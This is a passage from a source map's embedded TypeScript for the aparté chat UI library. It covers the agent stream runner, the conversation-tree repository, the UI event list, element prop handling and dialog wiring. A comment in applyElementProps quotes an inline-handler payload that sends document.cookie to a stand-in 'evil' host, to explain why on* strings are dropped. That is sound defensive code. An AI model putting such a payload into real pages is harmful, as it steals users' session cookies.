drops off the path, and the\n * error handler would find no segments, pass `[errorSegment]`, and\n * `updateMessage` — which resolves ids tree-wide — would overwrite every token\n * already streamed.\n */\n const rendered =\n target.getMessage?.(messageId)?.segments\n ?? target.getMessages?.()?.find(m => m.id === messageId)?.segments\n ?? [];\n target.updateMessage(messageId, {\n status: 'error',\n segments: [...rendered, errorSegment],\n });\n } else if (target.appendMessage) {\n // FALLBACK (V1) - Still try to be smart\n target.appendMessage({\n id: messageId,\n role: 'assistant',\n status: 'error',\n timestamp: Date.now(),\n segments: [errorSegment]\n });\n }\n\n dispatchLifecycleEvent(target, 'aparte-message-error', { messageId, error }, this._targetIdOf(target));\n }\n}\n","import type { StreamRunEvent, StreamUsage } from '@aparte/engine';\nimport type { AparteChatRequest } from '../types/chat.js';\nimport { AparteError, AparteErrorCode } from '../types/errors.js';\nimport { readNdjson } from '../utils/ndjson.js';\nimport type { AparteStreamRunner } from './stream-adapter.js';\n\nexport interface AgentStreamRunnerOptions {\n /** The route that serves `createAparteAgentHandler`, e.g. `/api/agent`. */\n endpoint: string;\n /** Sent with every request; a function is called per request (a fresh token each time). */\n headers?: Record<string, string> | (() => Record<string, string> | Promise<Record<string, string>>);\n /** @default the global `fetch` */\n fetch?: typeof fetch;\n /** For a cross-origin endpoint that authenticates by cookie. */\n credentials?: RequestCredentials;\n}\n\ntype WireLine = StreamRunEvent | { type: 'run-error'; message: string; code?: string };\n\n/**\n * An `AparteStreamRunner` that runs `AparteClient`'s loop on YOUR server — the one\n * `createAparteAgentHandler` serves — and replays its events here, where the client's\n * adapter draws them exactly as it draws a loop run in the page.\n *\n * ```ts\n * const client = new AparteClient({ streamRunner: createAgentStreamRunner({ endpoint: '/api/agent' }) });\n * ```\n *\n * The page needs no provider of its own: the server runs the model. A provider and model\n * the page selects anyway travel with the turn, and the server uses them.\n *\n * A pipe, nothing more. It sees no message and no segment, so it opens no panel and runs\n * no tool: when the server suspends a run, the CLIENT asks the person or runs the browser\n * tool, then calls this runner again with the answers in `deferral` — the same path it\n * takes when a conversation with a paused call is reloaded days later.\n */\nexport function createAgentStreamRunner(options: AgentStreamRunnerOptions): AparteStreamRunner {\n return async (opts) => {\n const doFetch = options.fetch ?? fetch;\n const headers = typeof options.headers === 'function' ? await options.headers() : options.headers ?? {};\n // The browser's registered tools travel as definitions: the server marks them\n // external and hands their calls back here.\n const { tools, ...request } = opts.baseRequest as AparteChatRequest;\n // No provider id when the page registered none: the handler runs its own.\n const body = {\n v: 1,\n ...(opts.providerId ? { providerId: opts.providerId } : {}),\n messageId: opts.messageId,\n request,\n clientTools: tools ?? [],\n ...(opts.deferral?.token\n ? { resume: { ticket: opts.deferral.token, outcomes: opts.deferral.outcomes ?? {} } }\n : {}),\n };\n const response = await doFetch(options.endpoint, {\n method: 'POST',\n headers: { 'Content-Type': 'application/json', ...headers },\n body: JSON.stringify(body),\n signal: opts.signal,\n ...(options.credentials ? { credentials: options.credentials } : {}),\n });\n if (!response.ok || !response.body) {\n const message = await response.json()\n .then((json: { error?: { message?: string } }) => json?.error?.message)\n .catch(() => undefined);\n throw new AparteError(\n message || `The agent endpoint answered HTTP ${response.status}.`,\n AparteError.codeForStatus(response.status) ?? AparteErrorCode.PROVIDER_ERROR,\n undefined, undefined, response.status,\n );\n }\n\n let usage: StreamUsage | undefined;\n let ended = false;\n for await (const line of readNdjson<WireLine>(response.body, opts.signal)) {\n if (line.type === 'run-error') {\n throw new AparteError(line.message || 'The agent run failed.', AparteErrorCode.PROVIDER_ERROR, line.code ? { code: line.code } : undefined);\n }\n if (line.type === 'run-done' || line.type === 'run-suspended') {\n usage = line.usage;\n ended = true;\n }\n opts.emitter(line);\n }\n // A server that dies mid-run closes the stream without its last line. Saying so\n // is what keeps the reply from spinning \"streaming\" for good.\n if (!ended && !opts.signal.aborted) {\n throw new AparteError('The agent stream ended unexpectedly.', AparteErrorCode.PROVIDER_ERROR);\n }\n return usage;\n };\n}\n","/**\n * AparteMessageRepository — Conversation Tree Storage\n *\n * Manages the branching conversation tree while keeping AparteMessage pure\n * (no topology fields on the message itself). Inspired by assistant-ui's\n * AparteMessageRepository but adapted for the Aparte vanilla-TS stack.\n *\n * Internal structure: a doubly-linked tree where each node holds a pointer\n * to its parent (prev) and its active child (next). `children` stores all\n * sibling IDs. `head` is always the active leaf.\n *\n * getMessages() walks head → root via `prev` — O(depth), not O(n).\n */\n\nimport type { AparteMessage } from '../types/index.js';\n\n// ─── Internal node (never exposed outside) ──────────────────────────────────\n\ntype RepoNode = {\n /** Parent node (null = root) */\n prev: RepoNode | null;\n /** Currently active child */\n next: RepoNode | null;\n /** IDs of all children (branches) */\n children: string[];\n /** The message data */\n current: AparteMessage;\n /** Depth in the tree = index in the flat active-path array */\n level: number;\n};\n\ntype RepoRoot = {\n next: RepoNode | null;\n children: string[];\n};\n\n/** Exported format — compatible with serialisation */\nexport type ExportedMessageRepository = {\n headId: string | null;\n messages: Array<{ message: AparteMessage; parentId: string | null }>;\n};\n\n// ─── Helpers ─────────────────────────────────────────────────────────────────\n\n/** Walk `next` chain to find the deepest active node */\nfunction findHead(node: RepoNode | RepoRoot): RepoNode | null {\n if (node.next) return findHead(node.next);\n if ('current' in node) return node as RepoNode;\n return null;\n}\n\n// ─── Repository ──────────────────────────────────────────────────────────────\n\nexport class AparteMessageRepository {\n private _nodes = new Map<string, RepoNode>();\n private _head: RepoNode | null = null;\n private _root: RepoRoot = { next: null, children: [] };\n\n // ─── Public read API ────────────────────────────────────────────────────\n\n /** ID of the currently active leaf message */\n get headId(): string | null {\n return this._head?.current.id ?? null;\n }\n\n /**\n * Returns the messages on the currently active path, root → head.\n * O(depth).\n */\n getMessages(): AparteMessage[] {\n const depth = this._head?.level ?? -1;\n if (depth < 0) return [];\n const messages = new Array<AparteMessage>(depth + 1);\n for (let cur: RepoNode | null = this._head; cur; cur = cur.prev) {\n messages[cur.level] = cur.current;\n }\n return messages;\n }\n\n /**\n * Returns metadata about a specific message, or `undefined` if not found.\n *\n * Read methods (`getMessage`, `getMessageById`, `getBranches`) all return\n * `undefined` / `[]` for unknown ids — never throw — so callers can do a\n * single existence check at the top of a flow rather than wrapping every\n * call in try/catch.\n */\n getMessage(id: string): { parentId: string | null; message: AparteMessage; index: number } | undefined {\n const node = this._nodes.get(id);\n if (!node) return undefined;\n return {\n parentId: node.prev?.current.id ?? null,\n message: node.current,\n index: node.level,\n };\n }\n\n /**\n * Returns the mutable message reference, or `undefined` if not found.\n * Mutations to the returned object are reflected in `getMessages()`.\n */\n getMessageById(id: string): AparteMessage | undefined {\n return this._nodes.get(id)?.current;\n }\n\n /**\n * Every message the tree holds — every branch, not just the active path.\n *\n * Unlike `getMessages()`, which walks head → root, this also sees a turn that a\n * retry has taken off the active path, so it answers questions about the whole\n * conversation (\"is anything still streaming?\"). No order is promised beyond\n * insertion: a caller that needs the topology reads `export()`.\n */\n getAllMessages(): AparteMessage[] {\n const all: AparteMessage[] = [];\n for (const node of this._nodes.values()) all.push(node.current);\n return all;\n }\n\n /**\n * Returns the IDs of all siblings of `messageId`\n * (i.e. all children of its parent, including itself).\n * Use this to build branch-picker UI.\n */\n getBranches(messageId: string): string[] {\n const node = this._nodes.get(messageId);\n if (!node) return [];\n const parent = node.prev ?? this._root;\n return [...parent.children];\n }\n\n // ─── Public write API ───────────────────────────────────────────────────\n\n /**\n * Add a new message as a child of `parentId` (null = root).\n * If a message with the same id already exists, updates its data\n * and re-links it under the correct parent.\n */\n addOrUpdateMessage(parentId: string | null, message: AparteMessage): void {\n const existing = this._nodes.get(message.id);\n const parentNode = parentId ? this._nodes.get(parentId) : undefined;\n\n if (parentId !== null && parentNode === undefined) {\n throw new Error(`AparteMessageRepository: parent \"${parentId}\" not found.`);\n }\n\n // After the guard above, parentNode is either a valid RepoNode or undefined (null parentId case)\n const parent: RepoNode | null = parentNode ?? null;\n\n if (existing) {\n existing.current = message;\n this._relink(parent, existing);\n return;\n }\n\n const node: RepoNode = {\n prev: parent,\n next: null,\n children: [],\n current: message,\n level: parent ? parent.level + 1 : 0,\n };\n\n this._nodes.set(message.id, node);\n this._link(parent, node);\n\n // Auto-advance head to new node if it was the previous active leaf\n if (this._head === parent || (this._head === null && parent === null)) {\n this._head = node;\n }\n }\n\n /**\n * Switch the active branch to `messageId`.\n * Updates `next` on the parent chain so getMessages() reflects the change.\n * Advances `head` to the deepest active node in the new branch.\n *\n * Silent no-op for unknown ids — mutation methods (`switchToBranch`,\n * `resetHead`, `updateMessage`, `clearChildren`) never throw.\n */\n switchToBranch(messageId: string): void {\n const node = this._nodes.get(messageId);\n if (!node) return;\n const parentOrRoot = node.prev ?? this._root;\n parentOrRoot.next = node;\n this._head = findHead(node);\n }\n\n /**\n * Remove all descendants of `messageId` (inclusive) and, when the head was among\n * them, set `head` to the parent of `messageId`. Used by edit/truncate flows.\n *\n * A head in a branch this call did not touch stays where it is.\n *\n * @param messageId The first message to remove\n */\n resetHead(messageId: string): void {\n const node = this._nodes.get(messageId);\n if (!node) return;\n\n const headBefore = this._head;\n // Delete all descendants first\n this._deleteDescendants(node);\n\n // Cut the node from its parent, clearing next BEFORE any findHead call.\n // Landing head on the parent with no active child is intentional for the\n // truncate/edit purpose (regenerate from the parent). Any OTHER sibling\n // branches of `messageId` are deliberately left in place — use\n // `clearChildren(parentId)` when you want to drop every branch instead.\n const parentOrRoot = node.prev ?? this._root;\n parentOrRoot.children = parentOrRoot.children.filter(id => id !== messageId);\n if (parentOrRoot.next === node) {\n parentOrRoot.next = null;\n }\n this._nodes.delete(messageId);\n\n // Move head to the parent (null if the root was deleted) — but ONLY when the head\n // is one of the messages just removed. It moved unconditionally, so truncating a\n // branch the reader was not on jumped the active path out of the version they\n // were reading.\n const headSurvived = headBefore !== null\n && headBefore !== node\n && this._nodes.get(headBefore.current.id) === headBefore;\n if (!headSurvived) this._head = node.prev;\n }\n\n /**\n * Update a message's data without changing its position in the tree.\n */\n updateMessage(messageId: string, updates: Partial<AparteMessage>): void {\n const node = this._nodes.get(messageId);\n if (!node) return;\n node.current = { ...node.current, ...updates };\n }\n\n /**\n * Remove ALL children of `parentId` (and their descendants) and set head\n * to `parentId`. Used by edit to discard every previous response before\n * re-generating — ensures the new response starts with sibling count = 1.\n */\n clearChildren(parentId: string): void {\n const parent = this._nodes.get(parentId);\n if (!parent) return;\n // deleteDescendants only handles children-of-node, so iterate manually\n for (const childId of [...parent.children]) {\n const child = this._nodes.get(childId);\n if (child) {\n this._deleteDescendants(child);\n this._nodes.delete(childId);\n }\n }\n parent.children = [];\n parent.next = null;\n this._head = parent;\n }\n\n /** Remove all messages and reset to empty state. */\n clear(): void {\n this._nodes.clear();\n this._head = null;\n this._root = { next: null, children: [] };\n }\n\n /**\n * Import a previously-exported snapshot, rebuilding the full tree and\n * restoring the active head. Replaces any existing content (calls `clear()`\n * first). `export()` writes messages in topological order (parent before\n * child), which is the order this expects.\n */\n import(exported: ExportedMessageRepository): void {\n this.clear();\n for (const { message, parentId } of exported.messages) {\n // TOLERANT of an orphan, where it used to throw. A snapshot written by an\n // older `export()` could list a child before its parent (see the note on\n // `export`), and one line that throws halfway through leaves the repository\n // half-built and the conversation unloadable. Skipping the orphan — and its\n // own descendants, which fail the same check in turn — keeps everything the\n // snapshot CAN express, and says what it dropped.\n if (parentId !== null && !this._nodes.has(parentId)) {\n console.warn(\n `[AparteMessageRepository] import: message \"${message.id}\" names a parent `\n + `\"${parentId}\" the snapshot does not hold before it — skipped.`,\n );\n continue;\n }\n // Boundary validation where foreign data enters, beside the orphan skip: an\n // id already inserted cannot be inserted again. `export()` walks the tree\n // from the root and never repeats one, so no legitimate snapshot is refused\n // — but a hand-made or corrupted one that names an entry as its own parent\n // passed the orphan check (the id IS known) and sent `addOrUpdateMessage`\n // into the `existing` branch, which walked the cycle forever.\n if (this._nodes.has(message.id)) {\n console.warn(\n `[AparteMessageRepository] import: message \"${message.id}\" repeats an id `\n + 'already in the snapshot — skipped.',\n );\n continue;\n }\n this.addOrUpdateMessage(parentId, message);\n }\n if (exported.headId) {\n this.switchToBranch(exported.headId);\n }\n }\n\n /**\n * Export the full tree for serialisation or debugging.\n * Compatible with the assistant-ui ExportedMessageRepository format.\n *\n * Walked from the root through each node's `children`, so a parent is always\n * written before its children, even after `addOrUpdateMessage` re-parented an\n * existing node under a newer one; `import()` relies on that order.\n */\n export(): ExportedMessageRepository {\n const messages: Array<{ message: AparteMessage; parentId: string | null }> = [];\n const walk = (children: string[], parentId: string | null): void => {\n for (const id of children) {\n const node = this._nodes.get(id);\n if (!node) continue;\n messages.push({ message: node.current, parentId });\n walk(node.children, id);\n }\n };\n walk(this._root.children, null);\n return { headId: this.headId, messages };\n }\n\n // ─── Private helpers ────────────────────────────────────────────────────\n\n private _link(parent: RepoNode | null, child: RepoNode): void {\n const parentOrRoot: RepoNode | RepoRoot = parent ?? this._root;\n parentOrRoot.children = [...parentOrRoot.children, child.current.id];\n // Auto-set active child if parent has none\n if (parentOrRoot.next === null) {\n parentOrRoot.next = child;\n }\n child.prev = parent;\n }\n\n private _relink(newParent: RepoNode | null, child: RepoNode): void {\n // Cut from old parent\n const oldParentOrRoot: RepoNode | RepoRoot = child.prev ?? this._root;\n if (oldParentOrRoot !== (newParent ?? this._root)) {\n oldParentOrRoot.children = oldParentOrRoot.children.filter(id => id !== child.current.id);\n if (oldParentOrRoot.next === child) {\n // The moved child was the active one — fall back to a remaining\n // sibling (or none). NOT `findHead(oldParentOrRoot)`: `next` still\n // points at `child` here, so findHead would walk into the subtree\n // being moved away and leave a dangling pointer.\n const nextId = oldParentOrRoot.children[0];\n oldParentOrRoot.next = nextId ? this._nodes.get(nextId) ?? null : null;\n }\n }\n // Attach to new parent\n child.prev = newParent;\n const newParentOrRoot: RepoNode | RepoRoot = newParent ?? this._root;\n if (!newParentOrRoot.children.includes(child.current.id)) {\n newParentOrRoot.children = [...newParentOrRoot.children, child.current.id];\n }\n if (newParentOrRoot.next === null) {\n newParentOrRoot.next = child;\n }\n this._updateLevels(child, newParent ? newParent.level + 1 : 0);\n }\n\n private _updateLevels(node: RepoNode, newLevel: number): void {\n node.level = newLevel;\n for (const childId of node.children) {\n const childNode = this._nodes.get(childId);\n if (childNode) this._updateLevels(childNode, newLevel + 1);\n }\n }\n\n private _deleteDescendants(node: RepoNode): void {\n for (const childId of node.children) {\n const child = this._nodes.get(childId);\n if (child) {\n this._deleteDescendants(child);\n this._nodes.delete(childId);\n }\n }\n node.children = [];\n node.next = null;\n }\n}\n","/**\n * Vanilla-DOM helpers shared by the framework wrappers' `AparteUi` pass-through\n * component. They live in core (zero-dep) so the four wrappers don't each carry\n * a byte-identical copy — only the framework-specific mounting differs.\n */\n\n/**\n * Every custom event an aparté element dispatches on ITSELF — the set `AparteUi`\n * forwards through its single event output, in all four wrappers.\n *\n * `scripts/check-event-map.mjs` asserts this list against every non-`window` dispatch\n * in core.\n *\n * A PLUGIN's events are not here, `aparte-model-change` included. The reason is the\n * same one that keeps plugin tags out of the element registry: this default is core's,\n * and a third-party plugin's author cannot add to it, so listing ours would privilege\n * our packages over theirs. Pass the names you need — `events: ['aparte-model-change']`\n * — which is one line for everyone equally.\n *\n * Three events are deliberately NOT here for a different reason: `aparte-abort`,\n * `aparte-compact` and `aparte-config-change` go out through `window.dispatchEvent` —\n * they concern the whole page, not one subtree — so an element-level listener can never\n * receive them and listing them would promise a forward that cannot happen.\n *\n * The five lifecycle events (including `aparte-message-aborted`) ARE here:\n * `dispatchLifecycleEvent` dispatches them on the HOST ELEMENT, bubbling and composed\n * (`client/lifecycle-events.ts`), and the composer's `window` dispatch is a second,\n * page-wide broadcast, not the only one. The sentence above lists only what a `window`\n * dispatch is the sole path for.\n */\nexport const APARTE_DEFAULT_UI_EVENTS = [\n // <aparte-composer> and its parts\n 'aparte-send',\n 'aparte-cancel',\n 'aparte-composer-change',\n 'aparte-composer-submit',\n 'aparte-action-click',\n 'aparte-attachment-preview',\n // <aparte-chat-bubble>\n 'aparte-action',\n 'aparte-retry',\n 'aparte-edit',\n 'aparte-feedback',\n 'aparte-message-info',\n 'aparte-branch-navigate',\n 'aparte-link-click',\n // <aparte-chat-viewport>\n 'aparte-segment-update',\n 'aparte-reset-done',\n 'aparte-path-changed',\n // <aparte-conversation-list>\n 'aparte-conversation-select',\n 'aparte-conversation-delete',\n 'aparte-conversation-archive',\n 'aparte-conversation-unarchive',\n 'aparte-conversation-rename',\n 'aparte-conversation-pin',\n 'aparte-conversation-unpin',\n // The conversation controller, on the chat host: a conversation's messages are on screen.\n 'aparte-conversation-loaded',\n // the select primitives\n 'aparte-select-change',\n 'aparte-select-open',\n 'aparte-select-close',\n 'aparte-optgroup-toggle',\n // the shell and the transcript's own elements — the five the sweep found missing\n 'aparte-suggestion',\n 'aparte-context-threshold',\n 'aparte-scroll-rail-jump',\n 'aparte-sidebar-toggle',\n 'aparte-split-resize',\n // the turn's lifecycle, dispatched on the HOST element by `dispatchLifecycleEvent`\n 'aparte-message-start',\n 'aparte-message-done',\n 'aparte-message-error',\n 'aparte-message-aborted',\n 'aparte-message-paused',\n 'aparte-tool-approval-request',\n] as const satisfies readonly string[];\n\n/**\n * Every event name aparté dispatches ON an element, as a type.\n *\n * `as const` rather than `readonly string[]` because a TYPE needs the literals: the\n * Svelte wrapper derives its `on:` surface from `HTMLElementEventMap`, which\n * deliberately omits the five detail-less events (a map entry would type `e.detail` as\n * `null` and gain nothing). Because the wrapper declares the tags, which removes\n * `SvelteHTMLElements`' catch-all index signature, `on:aparte-cancel` — the stop\n * button — only type-checks if it is listed. This list knows those five, so it is the\n * source for \"every event you can listen for\".\n */\nexport type AparteUiEventName = typeof APARTE_DEFAULT_UI_EVENTS[number];\n\n/**\n * Apply props to an aparté custom element. aparté elements are\n * **attribute-driven** (`observedAttributes`): assigning a property is either a\n * silent no-op (nothing observes it) or throws outright on a getter-only\n * accessor — `<aparte-composer>`'s `placeholder`/`disabled` are exactly that.\n * So primitives go through `setAttribute`; only values an attribute cannot carry\n * (objects, functions) are handed over as properties. Keys starting with `--`\n * become CSS variables; `on…` function values are ignored (event forwarding is\n * the wrapper's job).\n *\n * `transformValue` is applied to object/function values before they're set as\n * properties — Vue passes `toRaw` to unwrap its reactive proxy (a deep proxy\n * breaks Maps/class internals on a plain custom element); it defaults to identity.\n */\nexport function applyElementProps(\n el: HTMLElement,\n props: Record<string, unknown>,\n transformValue: (value: unknown) => unknown = (value) => value,\n): void {\n for (const [key, value] of Object.entries(props)) {\n if (key.startsWith('--')) {\n /*\n * `null` / `undefined` REMOVE the property; they are not stringified.\n *\n * `props={{ '--aparte-select-bg': theme.selectBg }}` with the field undefined\n * would set the custom property to the token `undefined`. That is strictly worse\n * than not setting it: because the property would be SET, every\n * `var(--aparte-select-bg, <default>)` in core's stylesheet skips its\n * fallback and becomes invalid at computed-value time, so the declaration is\n * dropped entirely and the control renders unstyled rather than with the\n * theme default. An object came out as `[object Object]` the same way.\n *\n * Every other branch of this function removes on null/undefined/false too, and\n * consumers spread arbitrary prop bags in here.\n */\n if (value === null || value === undefined) el.style.removeProperty(key);\n else if (typeof value === 'object' || typeof value === 'function') el.style.removeProperty(key);\n else el.style.setProperty(key, String(value));\n } else if (key.toLowerCase().startsWith('on')) {\n // `toLowerCase()` and not `startsWith('on')`, because an attribute NAME is\n // case-insensitive: `setAttribute('ONCLICK', …)` writes the same `onclick`\n // this branch refuses, so the lowercase-only guard was no guard at all\n // against a key spelled `ONCLICK` or `Onmouseover`. Same idiom as\n // `config/sanitize.ts`. Scoped to this branch on purpose — the `--` branch\n // above must keep the original key, since a CSS custom property IS\n // case-sensitive and `--aparteFoo` is not `--apartefoo`.\n //\n // Event handlers belong on the wrapper's event forwarding, not here —\n // and this drops them WHATEVER their type.\n //\n // No `typeof value === 'function'` condition: that would let a\n // STRING through to `setAttribute` at the bottom of this chain, and\n // `{ onclick: 'fetch(\"//evil/?\"+document.cookie)' }` would become a live\n // inline handler. Consumers spread arbitrary prop bags into\n // `<AparteUi>` (React and Angular both), so those keys are not\n // necessarily authored by the app.\n //\n // Ignoring a string costs a consumer nothing, because an `on*` string is\n // not a working way to attach a listener here.\n el.removeAttribute(key);\n } else if (value === null || value === undefined || value === false) {\n el.removeAttribute(key);\n } else if (typeof value === 'number' && Number.isNaN(value)) {\n /*\n * `NaN` removes the attribute rather than writing the string \"NaN\".\n *\n * Angular's `numberAttribute` returns `NaN` for undefined, null, '' and any\n * non-numeric expression, so `[scrollThreshold]=\"cfg.threshold\"` with the\n * field unset wrote `scroll-threshold=\"NaN\"`. Core's own fallbacks could not\n * recover: `parseInt('NaN' || '50', 10)` is NaN because `'NaN'` is truthy, so\n * `_isAtBottom()` (`… <= NaN`) stayed false forever — the transcript stopped\n * following a streaming reply and the scroll-to-bottom button never hid.\n * `<aparte-progress-spinner [value]=\"pct\">` with `pct` unset became a\n * determinate ring frozen at 0% where the docblock promises the spinner.\n *\n * Removing it puts the element back on the default it documents, which is\n * what the binding meant. Nothing in the type system can catch this: the\n * generated directive emits `ngAcceptInputType_*: unknown`.\n */\n el.removeAttribute(key);\n } else if (value === true) {\n el.setAttribute(key, '');\n } else if (typeof value === 'object' || typeof value === 'function') {\n (el as unknown as Record<string, unknown>)[key] = transformValue(value);\n } else {\n el.setAttribute(key, String(value));\n }\n }\n}\n","import type { AparteMessage } from '../types/index.js';\n\n/**\n * Is this message waiting for a reply — i.e. should the bubble render as\n * in-progress (waiting indicator, `aria-busy`, no action bar) rather than as a\n * finished answer?\n *\n * Two clauses:\n *\n * 1. **Stated**: `status` is `'streaming'` or `'pending'`, whatever the role.\n * 2. **Inferred**: an **assistant** message with **no `status` at all** and nothing\n * in it — no `content`, no `segments`. That is the empty shell a token stream is\n * about to fill (`appendMessage({ role: 'assistant', content: '' })` from a\n * hand-rolled loop).\n *\n * Only silence is interpreted. An explicit `status` — including `'completed'` on an\n * empty message — is the application talking, and is believed.\n */\nexport function isAwaitingReply(message: Pick<AparteMessage, 'role' | 'status' | 'content' | 'segments'>): boolean {\n if (message.status === 'streaming' || message.status === 'pending') return true;\n return message.status === undefined\n && message.role === 'assistant'\n && !message.content?.trim()\n && !message.segments?.length;\n}\n","/**\n * The dialog wiring: three attributes, one delegated listener, no element.\n *\n * The kit's dialog is the browser's `<dialog>` wearing `.aparte-dialog`\n * (`styles/surface/dialog.css`): `showModal()` gives the top layer, the focus trap,\n * Escape and the focus return, so there is no behaviour left for a custom element to\n * own — and wrapping the host's content in one would move children a framework\n * renders, which a light-DOM element must not do. What the browser\n * does NOT give is a way to open a dialog from a button without a line of script, or\n * to close it from the backdrop. That is what this installs, once per document:\n *\n * - a click on `[data-aparte-dialog-open=\"id\"]` calls `showModal()` on the dialog\n * with that id;\n * - a click on `[data-aparte-dialog-close]` inside a dialog closes it — the\n * attribute's value, if any, becomes the dialog's `returnValue`;\n * - a click on the backdrop (the `<dialog>` itself, outside its box) closes an\n * `.aparte-dialog`, unless it carries `data-aparte-dialog-static`.\n *\n * Installed by the browser entry at import, like the default renderers; exported for\n * a host that builds the page before importing core, and idempotent.\n */\n\nconst INSTALLED = Symbol.for('aparte.dialogTriggers');\n\n/**\n * Where the last gesture pressed and where it released. A `click` fires on the nearest\n * common ancestor of the two, so selecting text in the dialog's body and letting go a\n * few pixels past the box targets the `<dialog>` ITSELF — indistinguishable, from the\n * click alone, from a deliberate press on the backdrop. Every engine does it, in both\n * directions (press outside → release inside targets the backdrop too).\n *\n * So the backdrop dismissal asks for both ends on the backdrop. The cost is that a\n * programmatic `dialog.click()` does not close the dialog: it never pressed anything.\n * That is the right trade — `close()` is the API for closing a dialog.\n */\nlet pressTarget: EventTarget | null = null;\nlet releaseTarget: EventTarget | null = null;\n\nfunction onPointerDown(event: Event): void {\n pressTarget = event.target;\n releaseTarget = null;\n}\n\nfunction onPointerUp(event: Event): void {\n releaseTarget = event.target;\n}\n\nfunction onClick(event: Event): void {\n const target = event.target as HTMLElement | null;\n if (!target?.closest) return;\n\n const opener = target.closest<HTMLElement>('[data-aparte-dialog-open]');\n if (opener) {\n const id = opener.getAttribute('data-aparte-dialog-open');\n const dialog = id ? document.getElementById(id) : null;\n if (dialog instanceof HTMLDialogElement && !dialog.open) {\n event.preventDefault();\n dialog.showModal();\n }\n return;\n }\n\n const closer = target.closest<HTMLElement>('[data-aparte-dialog-close]');\n if (closer) {\n const dialog = closer.closest('dialog');\n if (dialog instanceof HTMLDialogElement && dialog.open) {\n event.preventDefault();\n // The attribute's value, EMPTY INCLUDED: `close('')` resets `returnValue`,\n // `close(undefined)` leaves it — so a bare Cancel after a Save used to report\n // \"saved\" a second time. The selector matched, so the attribute is there.\n dialog.close(closer.getAttribute('data-aparte-dialog-close') ?? '');\n }\n return;\n }\n\n // The backdrop: a click whose target is the <dialog> element itself lands outside\n // its box, since the box is what its children cover. Only for the kit's own class,\n // so a host's dialogs keep whatever they do — and only when the gesture BEGAN and\n // ENDED there, so a selection dragged out of the box is not read as a dismissal.\n if (target instanceof HTMLDialogElement && target.open && target.classList.contains('aparte-dialog') && !target.hasAttribute('data-aparte-dialog-static')) {\n const deliberate = pressTarget === target && releaseTarget === target;\n pressTarget = null;\n releaseTarget = null;\n if (deliberate) target.close();\n }\n}\n\n/**\n * Wire `data-aparte-dialog-open` / `-close` and the backdrop click on this document.\n * Called once by `@aparte/core` at import; safe to call again.\n */\nexport function installDialogTriggersOnce(doc: Document = document): void {\n const marked = doc as Document & { [INSTALLED]?: true };\n if (marked[INSTALLED]) return;\n marked[INSTALLED] = true;\n // Capture, so a host that stops the gesture from propagating still lets the two ends\n // be recorded — the alternative is a backdrop that silently stops dismissing.\n doc.addEventListener('pointerdown', onPointerDown, true);\n doc.addEventListener('pointerup', onPointerUp, true);\n doc.addEventListener('click', onClick);\n}\n"],"names":["AparteErrorCode","jsonError","encoder","el","code","fetch","conv","t","field","messages"],"mappings":";;AAwCO,SAAS,cAAc,SAA+C;AACzE,MAAI,OAAO,YAAY,SAAU,QAAO;AACxC,SAAO,QACF,OAAO,CAAC,MAA2B,EAAE,SAAS,MAAM,EACpD,IAAI,CAAA,MAAK,EAAE,IAAI,EACf,KAAK,EAAE;AAChB;AC7CO,IAAK,oCAAAA,qBAAL;AAEHA,mBAAA,oBAAA,IAAqB;AACrBA,mBAAA,oBAAA,IAAqB;AACrBA,mBAAA,oBAAA,IAAqB;AACrBA,mBAAA,sBAAA,IAAuB;AAGvBA,mBAAA,kBAAA,IAAmB;AACnBA,mBAAA,wBAAA,IAAyB;AACzBA,mBAAA,mBAAA,IAAoB;AAGpBA,mBAAA,aAAA,IAAc;AACdA,mBAAA,aAAA,IAAc;AACdA,mBAAA,WAAA,IAAY;AAGZA,mBAAA,gBAAA,IAAiB;AACjBA,mBAAA,sBAAA,IAAuB;AACvBA,mBAAA,iBAAA,IAAkB;AAGlBA,mBAAA,eAAA,IAAgB;AAvBR,SAAAA;AAAA,GAAA,mBAAA,CAAA,CAAA;AA0BL,MAAM,oBAAoB,MAAM;AAAA,EACnC,YACoB,SACT,MACA,MACA,eACA,YACT;AACE,UAAM,OAAO;AANG,SAAA,UAAA;AACT,SAAA,OAAA;AACA,SAAA,OAAA;AACA,SAAA,gBAAA;AACA,SAAA,aAAA;AAGP,SAAK,OAAO;AAAA,EAChB;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,EAOA,OAAO,cAAc,QAAyD;AAC1E,YAAQ,QAAA;AAAA,MACJ,KAAK;AAAK,eAAO;AAAA,MACjB,KAAK;AAAA,MACL,KAAK;AAAK,eAAO;AAAA,MACjB,KAAK;AAAK,eAAO;AAAA,MACjB,KAAK;AAAK,eAAO;AAAA,MACjB,KAAK;AAAK,eAAO;AAAA,MACjB;AAAS,eAAO,WAAW,UAAa,UAAU,MAAM,mBAAiC;AAAA,IAAA;AAAA,EAEjG;AAAA,EAEA,OAAO,KAAK,OAAgB,cAAc,iBAA+B,eAAqC;AAC1G,QAAI,iBAAiB,YAAa,QAAO;AAEzC,UAAM,UAAU,iBAAiB,QAAQ,MAAM,UAAU,OAAO,KAAK;AAGrE,UAAM,SAAU,OAAoD,UAAW,OAAoD,cAAc;AAMjJ,UAAM,OAAO,gBAAgB,kBACvB,cACA,YAAY,cAAc,MAAM,KAAK,YAAY,eAAe,KAAK,KAAK;AAEhF,WAAO,IAAI,YAAY,SAAS,MAAM,QAAW,OAAO,MAAM;AAAA,EAClE;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,EASA,OAAe,eAAe,OAA6C;AACvE,QAAI,EAAE,iBAAiB,OAAQ,QAAO;AACtC,QAAI,MAAM,SAAS,eAAgB,QAAO;AAC1C,QAAI,iBAAiB,aAAa,6BAA6B,KAAK,MAAM,OAAO,GAAG;AAChF,YAAM,UAAU,OAAO,cAAc,eAAe,UAAU,WAAW;AACzE,aAAO,UAAU,gBAA8B;AAAA,IACnD;AACA,WAAO;AAAA,EACX;AACJ;ACUO,MAAM,gCAAoE;ACoU1E,MAAM,wBAAsC;AAAA,EAC/C,kBAAkB;AAAA,EAClB,YAAY;AAAA,EACZ,MAAM;AAAA,EACN,QAAQ;AAAA,EACR,OAAO;AAAA,EACP,UAAU;AAAA,EACV,kBAAkB;AAAA,EAClB,6BAA6B;AAAA,EAC7B,uBAAuB;AAAA,EACvB,cAAc;AAAA,EACd,YAAY;AAAA,EACZ,wBAAwB;AAAA,EACxB,iBAAiB;AAAA,EACjB,iBAAiB;AAAA,EACjB,oBAAoB;AAAA,EACpB,gBAAgB;AAAA,EAChB,eAAe;AAAA,EACf,wBAAwB;AAAA,EACxB,gCAAgC;AAAA,EAChC,aAAa;AAAA,EACb,iBAAiB